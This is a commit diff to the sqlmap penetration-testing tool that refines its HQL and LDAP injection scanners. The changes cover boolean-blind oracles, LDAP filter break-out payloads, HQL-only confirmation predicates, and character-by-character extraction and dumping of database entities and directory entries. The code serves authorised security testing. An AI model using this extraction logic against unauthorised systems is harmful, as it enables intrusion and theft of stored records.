Tons of stabilization of non-SQLi techniques

This commit is contained in:
Miroslav Štampar 2026-07-23 12:15:45 +02:00
parent e6a5e8ff05
commit 36ebce6935
18 changed files with 3829 additions and 873 deletions

View file

@ -2726,6 +2726,14 @@ def _checkTor():
logger.info(infoMsg)
def _basicOptionValidation():
_nonSqlTechniques = [name for name, enabled in (
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
if len(_nonSqlTechniques) > 1:
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
errMsg += "each is a self-contained scan for a different back-end class - pick one"
raise SqlmapSyntaxException(errMsg)
if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)"
raise SqlmapSyntaxException(errMsg)

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.176"
VERSION = "1.10.7.177"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1169,6 +1169,11 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a
# working injection point (a schema-validated or non-reflected first node otherwise hides the finding);
# bounds the request cost on documents with many text nodes
XXE_LOCATION_SWEEP_MAX = 12
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
# A match means the injection reached the ORM query parser (not the SQL layer),

File diff suppressed because it is too large Load diff

View file

@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import difflib
import re
import time
@ -18,6 +17,14 @@ from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import INCONCLUSIVE_MARK
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userOracleActive
from lib.core.settings import HQL_CHAR_MAX
from lib.core.settings import HQL_CHAR_MIN
from lib.core.settings import HQL_COMMON_ENTITIES
@ -34,6 +41,7 @@ from lib.utils.xrange import xrange
SENTINEL = randomStr(length=10, lowercase=True)
HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
@ -67,8 +75,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle",
Slot.__new__.__defaults__ = (None,) * 7
def _ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def _delim(place):
@ -125,17 +131,24 @@ def _send(place, parameter, value):
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(raise404=False, silent=True)
page, _, code = Request.getPage(raise404=False, silent=True)
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample -
# signal None so the boolean routines (which reject None) can never decide a bit on it
if blockedStatus(code):
return None
return page or ""
except Exception as ex:
logger.debug("HQL probe request failed: %s" % getUnicode(ex))
return ""
return None
finally:
conf.parameters[place] = old_params
def _isError(page):
return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
# an ORM/HQL error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
# template (a broken break-out that trips a DBMS syntax error must not fake a boolean oracle).
page = getUnicode(page or "")
return bool(re.search(HQL_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
@ -189,6 +202,10 @@ def _boolean(truthy, falsy):
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
@ -223,24 +240,87 @@ def _wrap(original, boundary, predicate):
return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
def _makeOracle(place, parameter, template, boundary, original):
"""Build oracle(predicate) -> bool from a verified true template."""
# HQL/JPQL-only WHERE predicates for positive attribution WITHOUT a reflected ORM error (production
# systems suppress diagnostics). Each pair differs ONLY in the truth of a construct that plain SQL does
# NOT evaluate the same way, so a true/false divergence is attributable to the ORM.
#
# NOTE deliberately NOT using Hibernate CAST type aliases (CAST(x AS string/integer/long/big_decimal)):
# although PostgreSQL/MySQL/MSSQL reject those type names, SQLite accepts ARBITRARY cast type names, so
# `CAST(1 AS string)='1'` is TRUE on plain SQLite and would mis-attribute a SQLite SQL injection as HQL.
#
# `str()` is Hibernate's legacy stringify function and is a clean discriminator across the target
# engines: SQLite/MySQL/MariaDB/PostgreSQL/H2/HSQLDB have NO `str()` function, so the payload ERRORS
# (both sides error -> no divergence -> not confirmed); Microsoft SQL Server's STR(1) yields a
# space-padded ' 1', so BOTH str(1)='1' and str(1)='2' are false (again no divergence). Only a
# Hibernate parser makes str(1)='1' true and str(1)='2' false. A single clean primitive is preferred
# over a broad battery here: on a context that rejects it, attribution simply falls back to
# "indistinguishable from SQLi" (safe under-report), never a false HQL claim.
_HQL_PREDICATES = (
("str(1)='1'", "str(1)='2'"),
)
def _confirmHql(place, parameter, boundary, original):
"""Positive HQL/JPQL attribution with no reflected error: probe the HQL-only battery through the
boolean oracle. Returns True as soon as ANY primitive flips true/false behind the verified boundary;
a plain-SQL target (SQLite included) errors on or evaluates-both-false every one -> no divergence ->
not confirmed as HQL."""
base = _base(boundary, original)
for truePred, falsePred in _HQL_PREDICATES:
if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p),
lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)):
return True
return False
def _makeOracle(place, parameter, boundary, original):
"""Build the extraction oracle by RECALIBRATING BOTH true and false models on the SAME extraction
base + boundary the predicates use (`_base()` -> SENTINEL/-1, NOT the original-based detection
template). Reusing the detection true template (built with the original value) while extraction
ran on a different base was a base mismatch. Reproduce both, require separable, else None (disable
extraction). Classification is RELATIVE (closer to the true model than the false one, by a margin)
so dynamic drift can't flip a bit."""
cache = {}
base = _base(boundary, original)
def request(payload):
# cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever
if payload not in cache:
cache[payload] = _send(place, parameter, payload)
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
def truth(predicate):
page = request(_wrap(base, boundary, predicate))
if page is None or _isError(page):
return False
return _ratio(template, page) >= UPPER_RATIO_BOUND
truePayload = _wrap(base, boundary, "1=1")
falsePayload = _wrap(base, boundary, "1=2")
trueTemplate = request(truePayload)
falseTemplate = request(falsePayload)
truth.template = template
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
return None
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true
return None
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false
return None
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: # not separable -> can't extract
return None
def truth(predicate):
# transport failure / blocked / error response is UNKNOWN, not False: route even a missing
# initial sample through resolveBit() (retry -> InconclusiveError) so a transient failure on a
# true predicate never becomes a permanent false bit that corrupts the bisection
payload = _wrap(base, boundary, predicate)
page = request(payload)
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
truth.template = trueTemplate
truth.cache = cache
return truth
@ -335,36 +415,41 @@ def _scalar(entity, attrExpr, pin, after=None):
def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
# length first, by binary search
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
if not truth("%s>=1" % lengthExpr):
return ""
try:
# length first, by binary search
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
if not truth("%s>=1" % lengthExpr):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if truth("%s>=%d" % (lengthExpr, mid)):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
for pos in xrange(1, length + 1):
# index of this character inside _CS_LITERAL, recovered by binary search
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
if not truth("%s>=1" % idxExpr):
chars.append("?")
continue
lo, hi = 1, len(_CS_LITERAL)
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if truth("%s>=%d" % (idxExpr, mid)):
if truth("%s>=%d" % (lengthExpr, mid)):
lo = mid
else:
hi = mid - 1
chars.append(_CS_LITERAL[lo - 1])
length = lo
chars = []
for pos in xrange(1, length + 1):
# index of this character inside _CS_LITERAL, recovered by binary search
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
if not truth("%s>=1" % idxExpr):
chars.append("?")
continue
lo, hi = 1, len(_CS_LITERAL)
while lo < hi:
mid = (lo + hi + 1) // 2
if truth("%s>=%d" % (idxExpr, mid)):
lo = mid
else:
hi = mid - 1
chars.append(_CS_LITERAL[lo - 1])
except InconclusiveError:
# abort this value rather than emit a length/char chosen from an ambiguous bit
logger.warning("HQL extraction aborted for '%s.%s' (oracle inconclusive after retries)" % (entity, attribute))
return None
return "".join(chars)
@ -406,25 +491,42 @@ def _dumpEntity(oracle, place, parameter, entity):
# advance the cursor; otherwise only the first (smallest-pin) row is recovered.
rows = []
after = None
partial = False
for _ in xrange(HQL_MAX_RECORDS):
pinValue = _inferValue(oracle, entity, pin, pin, after)
if not pinValue:
if pinValue is None:
# None => the NEXT-row pin was INCONCLUSIVE (oracle aborted), NOT "no more rows". Stop, but
# flag the table PARTIAL rather than silently presenting it as the complete set.
partial = True
logger.warning("next-row pin for entity '%s' is inconclusive; the dumped table is PARTIAL" % entity)
break
if not pinValue: # "" => genuine end (no further row)
break
record = {pin: pinValue}
for field in fields:
if field != pin:
record[field] = _inferValue(oracle, entity, field, pin, after)
# None => extraction ABORTED for this cell (inconclusive oracle). Mark it visibly so it
# stays distinguishable from a genuine empty value - never silently blank.
cell = _inferValue(oracle, entity, field, pin, after)
record[field] = INCONCLUSIVE_MARK if cell is None else cell
rows.append([record.get(_, "") for _ in fields])
logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
if not re.match(r"\A\d+\Z", pinValue):
# a non-numeric pin (e.g. a UUID/string key) cannot advance the ascending cursor, so only
# the first row is recovered - flag the table PARTIAL rather than imply it is complete
if len(rows) == 1:
partial = True
logger.warning("entity '%s' pin '%s' is non-numeric; only the first row is enumerable (table is PARTIAL)" % (entity, pin))
break
after = pinValue
else:
logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS))
partial = True # a truncated cap is NOT a complete dump
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
completeness = ", PARTIAL - row enumeration aborted before the end" if partial else ""
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", completeness, pin, _grid(columns, rows)))
def hqlScan():
@ -461,15 +563,36 @@ def hqlScan():
logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
continue
backend = backendHint or "Hibernate"
# CRITICAL: HQL compiles TO SQL, so a bare boolean break-out (`' or '1'='1`) is IDENTICAL
# to - and INDISTINGUISHABLE from - classic SQL injection. Claim HQL ONLY with positive
# ORM/Hibernate evidence: either a reflected parser diagnostic (_probeError) OR - when the
# app suppresses diagnostics - the HQL-only confirmation battery (_confirmHql: constructs
# valid in HQL/JPQL but rejected by plain SQL). Without either it is plain SQL injection and
# reporting it as HQL would be a false positive on every SQLi target.
original = _originalValue(place, parameter)
if not backendHint:
if _confirmHql(place, parameter, boundary, original):
backendHint = "Hibernate (HQL/JPQL)"
logger.info("%s parameter '%s' confirmed HQL/JPQL via ORM-only constructs (no error leakage needed)" % (place, parameter))
else:
logger.info("%s parameter '%s' yields a boolean oracle but shows no ORM/Hibernate evidence - indistinguishable from classic SQL injection; not reporting as HQL (re-run without '--hql' to test for SQLi)" % (place, parameter))
continue
backend = backendHint
# Error leakage only helps when the app actually reflects diagnostics
entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
if conf.beep:
beep()
oracle = _makeOracle(place, parameter, template, boundary, original)
oracle = _makeOracle(place, parameter, boundary, original)
if oracle is None:
# confirmed HQL, but the extraction true/false models are not reliably separable ->
# report the finding WITHOUT dumping (never fabricate entity/field data)
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s); "
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind (extraction unavailable)\n Payload: %s=%s\n---" % (parameter, place, parameter, payload))
continue
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
slots.append(Slot(place=place, parameter=parameter, backend=backend,
entity=entity, oracle=oracle, boundary=boundary, payload=payload))

View file

@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import difflib
import re
import time
@ -18,6 +17,14 @@ from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import INCONCLUSIVE_MARK
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userOracleActive
from lib.core.settings import LDAP_CHAR_MAX
from lib.core.settings import LDAP_CHAR_MIN
from lib.core.settings import LDAP_ERROR_REGEX
@ -32,6 +39,7 @@ from lib.utils.xrange import xrange
SENTINEL = randomStr(length=10, lowercase=True)
# _send() below currently knows how to rebuild GET and POST-style parameter
# strings. Cookie and URI delivery require separate per-place logic and should not
# be advertised until implemented.
@ -104,8 +112,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template"
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None)
def _ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def _delim(place):
@ -162,17 +168,27 @@ def _send(place, parameter, value):
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
page, _, _ = Request.getPage(**kwargs)
page, _, code = Request.getPage(**kwargs)
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is not a usable
# oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it
if blockedStatus(code):
return None
return page or ""
except Exception as ex:
logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
return ""
return None
finally:
conf.skipUrlEncode = skipUrlEncode
def _isError(page):
return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or "")))
# an LDAP error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
# template. The SQL/DBMS check (reusing sqlmap's errors.xml via htmlParser + the generic
# `SQL (warning|error|syntax)` marker) is essential: an LDAP filter break-out like `1)(uid=*`
# trips a DBMS SYNTAX ERROR on a SQL-injectable parameter, and that error page merely differs
# from a normal page - which would otherwise fake a boolean oracle and misreport SQLi as LDAP.
page = getUnicode(page or "")
return bool(re.search(LDAP_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
@ -180,7 +196,9 @@ def _backendFromError(page):
for backend, regex in LDAP_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return "Generic LDAP" if _isError(page) else None
# ONLY a genuine LDAP error names a (generic) LDAP back-end - never a SQL/DBMS error (which
# _isError() also flags, so it can reject a faked oracle, but which must NOT be attributed to LDAP)
return "Generic LDAP" if re.search(LDAP_ERROR_REGEX, page) else None
def _probeBackendByParserError(place, parameter):
@ -219,7 +237,16 @@ def _boolean(truthy, falsy):
return None
truePage2 = truthy()
if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: # the TRUE side must independently reproduce
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too
return None
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false
return truePage
return None
@ -229,24 +256,25 @@ def _detectBoolean(place, parameter):
"""Return (template, payload, breakout) for boolean-blind LDAPi."""
original = _originalValue(place, parameter) or ""
falsePayload = original + SENTINEL
for breakout in LDAP_BREAKOUT_PREFIXES:
for attr in LDAP_TAUTOLOGY_ATTRIBUTES:
# Open fragment by design. The application template supplies the tail.
# MATCHED controls: true and false share the SAME breakout, the SAME attribute and the
# SAME open-fragment shape - only the assertion's truth changes. `(attr=*` matches every
# directory entry; `(attr=<sentinel>` matches none. A diverging pair proves the value is
# parsed as an LDAP FILTER (the `)(...` escaped the surrounding filter), which a plain
# string search cannot reproduce. The old false control was a bare `original+SENTINEL`
# (an UNMATCHED ordinary string), so a validation layer or wildcard search could diverge
# for reasons unrelated to filter injection - a false positive.
truePayload = "%s%s(%s=*" % (original, breakout, attr)
falsePayload = "%s%s(%s=%s" % (original, breakout, attr, SENTINEL)
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, breakout
# Useful for auth/search bypass reporting, but not enough to synthesize
# arbitrary LDAP filters for enumeration.
if original:
template = _boolean(lambda: _send(place, parameter, "*"),
lambda: _send(place, parameter, SENTINEL))
if template:
return template, "*", None
# NOTE: no bare `*`-vs-sentinel fallback. A wildcard returning more records is normal search
# behavior, not proof of an LDAP filter-boundary escape, and carries no breakout for extraction.
return None, None, None
@ -377,44 +405,78 @@ class _ProbeBuilder(object):
return self.raw("%s(objectClass=%s*" % (compound, SENTINEL))
def _makeOracle(place, parameter, template):
def _makeOracle(place, parameter, breakout):
"""Build the extraction oracle by RECALIBRATING its true/false models on the SAME base + winning
breakout the extraction payloads use - the `_ProbeBuilder` leads every probe with SENTINEL, so
the models must too. A matched always-true filter `SENTINEL<breakout>(objectClass=*` (objectClass
is on every entry) and a matched always-FALSE `SENTINEL<breakout>(objectClass=<sentinel>` (no
entry has it) - same shape, only the assertion's truth changed. The old oracle compared SENTINEL-
based extraction payloads against an ORIGINAL-based detection template and a bare unreproduced
SENTINEL false page - a base/shape mismatch. Reproduce both, require separable, else None."""
cache = {}
def request(payload):
# cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever
if payload not in cache:
cache[payload] = _send(place, parameter, payload)
page = _send(place, parameter, payload)
if page and not _isError(page):
cache[payload] = page
return page
return cache[payload]
falsePage = request(SENTINEL)
builder = _ProbeBuilder(breakout)
truePayload = builder.raw("(objectClass=*")
falsePayload = builder.raw("(objectClass=%s" % SENTINEL)
trueModel = request(truePayload)
falseModel = request(falsePayload)
def oracle(payload):
page = request(payload)
if not page or _isError(page):
return False
return _ratio(template, page) >= UPPER_RATIO_BOUND
if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel):
return None
if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true
return None
if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false
return None
if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # not separable -> can't extract reliably
return None
def extract(payload):
# a positive bit (attribute-prefix match) must lean CLEARLY toward the recalibrated TRUE
# model over the matched FALSE model (shared 3-way classifier) - NOT merely "different from
# a bare sentinel page", which read a dynamic token / WAF body / transient exception as a
# match and fabricated LDAP values one character at a time. A transport failure / error is
# UNKNOWN (routed through resolveBit -> retry -> InconclusiveError), never a pre-decided False.
page = request(payload)
if not page or _isError(page):
return False
return _ratio(falsePage, page) < UPPER_RATIO_BOUND
usable = page if (page and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (not p or _isError(p)) else p
return resolveBit(usable, trueModel, falseModel, fresh)
def oracle(payload):
return extract(payload)
oracle.extract = extract
oracle.template = template
oracle.falsePage = falsePage
oracle.template = trueModel
oracle.falsePage = falseModel
oracle.cache = cache
return oracle
# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can
# be escaped, but many simple test harnesses decode them before wildcard handling,
# producing false positives. Transport-sensitive chars are allowed because
# _ldapLiteral() encodes them.
_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\'))
# The filter metacharacters *, (, ), \ are INCLUDED in the extraction charset: `_ldapLiteral()` escapes
# each one (*->\2a, (->\28, )->\29, \->\5c) in the prefix probe, so they are matched as LITERAL bytes
# (no wildcard / no false positive) and a value like `CN=Smith\, John (Admin)` or `abc*def` is recovered
# in full instead of being truncated at the first metacharacter. They sit at the FREQUENCY TAIL (rare in
# real data), so common characters are still tried first.
_META_ORDS = set()
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
tuple(xrange(ord('A'), ord('Z') + 1)) +
tuple(xrange(ord('0'), ord('9') + 1)) +
tuple(ord(_) for _ in "@._-+ "))
tuple(ord(_) for _ in "@._-+ ") +
tuple(ord(_) for _ in "*()\\")) # filter metacharacters (escaped by _ldapLiteral)
_CHARSET = []
for _ in _FREQ:
if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
@ -428,33 +490,41 @@ def _exists(oracle, builder, attr, constraint=None, exclusions=None):
return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions))
def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH):
def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH, strict=False):
value = ""
probes = 0
for _ in xrange(maxLen):
found = False
try:
for _ in xrange(maxLen):
found = False
for cp in _CHARSET:
candidate = value + chr(cp)
probes += 1
for cp in _CHARSET:
candidate = value + chr(cp)
probes += 1
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
value = candidate
found = True
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
value = candidate
found = True
break
if not found:
break
if not found:
break
# Three or more consecutive trailing spaces never occur in real
# directory data. When the server-side LDAP-to-SQL translation
# (or equivalent) spuriously matches a trailing-space probe (e.g.
# mail=user@dom * matching user@dom), the extraction would
# otherwise chase an endless phantom suffix. Terminate and strip.
if value.endswith(" "):
value = value.rstrip()
break
# Three or more consecutive trailing spaces never occur in real
# directory data. When the server-side LDAP-to-SQL translation
# (or equivalent) spuriously matches a trailing-space probe (e.g.
# mail=user@dom * matching user@dom), the extraction would
# otherwise chase an endless phantom suffix. Terminate and strip.
if value.endswith(" "):
value = value.rstrip()
break
except InconclusiveError:
# a structural caller (entry-key enumeration) must SEE the abort to mark the dump partial - it
# is NOT end-of-data; a per-value caller instead gets None and renders an inconclusive marker
if strict:
raise
logger.warning("LDAP extraction aborted for attribute '%s' (oracle inconclusive after retries)" % attr)
return None
logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value)))
return value if value else None
@ -538,15 +608,24 @@ def _probeRootDSE(oracle, builder):
def _enumerateEntryKeys(oracle, builder):
for keyAttr in ENTRY_KEY_ATTRIBUTES:
if not _exists(oracle, builder, keyAttr):
continue
try:
if not _exists(oracle, builder, keyAttr):
continue
except InconclusiveError:
continue # existence unknown for this key attr -> try next
values = []
values, partial = [], False
while len(values) < LDAP_MAX_RECORDS:
exclusions = [(keyAttr, _) for _ in values]
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions)
try:
# strict: an inconclusive NEXT-entry key probe is UNKNOWN, not the end of the directory
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions, strict=True)
except InconclusiveError:
partial = True
logger.warning("directory entry enumeration became inconclusive after %d entr%s; the dump is PARTIAL" % (len(values), "y" if len(values) == 1 else "ies"))
break
if not value or value in values:
if not value or value in values: # "" / repeat -> genuine end
break
values.append(value)
@ -555,13 +634,14 @@ def _enumerateEntryKeys(oracle, builder):
if values:
if len(values) >= LDAP_MAX_RECORDS:
logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS)
return keyAttr, values
partial = True # a truncated cap is NOT a complete dump
return keyAttr, values, partial
return None, []
return None, [], False
def _dumpEntries(oracle, builder, place, parameter):
keyAttr, keys = _enumerateEntryKeys(oracle, builder)
keyAttr, keys, partial = _enumerateEntryKeys(oracle, builder)
if not keys:
logger.warning("could not identify a stable directory entry key")
return False
@ -579,21 +659,25 @@ def _dumpEntries(oracle, builder, place, parameter):
continue
logger.info("probing attribute '%s'" % attr)
if not _exists(oracle, builder, attr, constraint=constraint):
continue
try:
if not _exists(oracle, builder, attr, constraint=constraint):
continue
except InconclusiveError:
continue # existence unknown -> skip this attribute
# an attribute confirmed to exist but whose value is inconclusive must show the marker, NOT
# be silently omitted (which would read as "attribute absent")
value = _inferAttribute(oracle, builder, attr, constraint=constraint)
if value:
row[attr] = value
discovered.add(attr)
row[attr] = INCONCLUSIVE_MARK if value is None else value
discovered.add(attr)
rows.append(row)
columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered]
tableRows = [tuple(row.get(column, "") for column in columns) for row in rows]
logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies"))
_dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows)
completeness = " (PARTIAL - entry enumeration aborted, oracle inconclusive)" if partial else ""
logger.info("dumped %d entr%s%s" % (len(rows), "y" if len(rows) == 1 else "ies", completeness))
_dumpTable("LDAP: %s parameter '%s' directory entries%s" % (place, parameter, completeness), columns, tableRows)
return True
@ -604,22 +688,20 @@ def _dumpMultiValues(oracle, builder, place, parameter):
if not _exists(oracle, builder, attr):
continue
# Multi-valued attributes (member, memberOf, ...) carry several values;
# walk them by excluding each recovered value from the next probe, exactly
# like _enumerateEntryKeys does for entry keys.
values = []
while len(values) < LDAP_MAX_RECORDS:
exclusions = [(attr, _) for _ in values]
value = _inferAttribute(oracle, builder, attr, exclusions=exclusions)
if not value or value in values:
break
values.append(value)
if values:
if len(values) >= LDAP_MAX_RECORDS:
logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS))
logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr))
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values])
# Multi-valued attributes (member, memberOf, uniqueMember) can hold several values in ONE entry.
# LDAP filters are ENTRY-scoped, so the intuitive "exclude each recovered value to get the next"
# walk is WRONG: (!(member=A)) excludes the whole ENTRY that holds member=A, so a second value of
# the SAME entry can never surface, and the probe may instead match a DIFFERENT entry that also
# carries the attribute - silently mixing entries while claiming a complete multi-value dump.
# Recovering one value per attribute and labelling it honestly is correct; true per-value
# enumeration needs a unique-entry binding or AD ranged retrieval (member;range=0-*), not
# negation. Report the single recovered value as exactly that.
value = _inferAttribute(oracle, builder, attr)
if value:
logger.info("recovered one matching value of multi-valued attribute '%s' "
"(full per-value enumeration is not proven over entry-scoped LDAP filters)" % attr)
_dumpTable("LDAP: %s parameter '%s' '%s' (one matching value, NOT full multi-value enumeration)" % (place, parameter, attr),
[attr], [(value,)])
dumped = True
return dumped
@ -686,22 +768,28 @@ def ldapScan():
if template and breakout:
found += 1
backend = backendHint or None
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
if conf.beep:
beep()
oracle = _makeOracle(place, parameter, template)
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout))
oracle = _makeOracle(place, parameter, breakout)
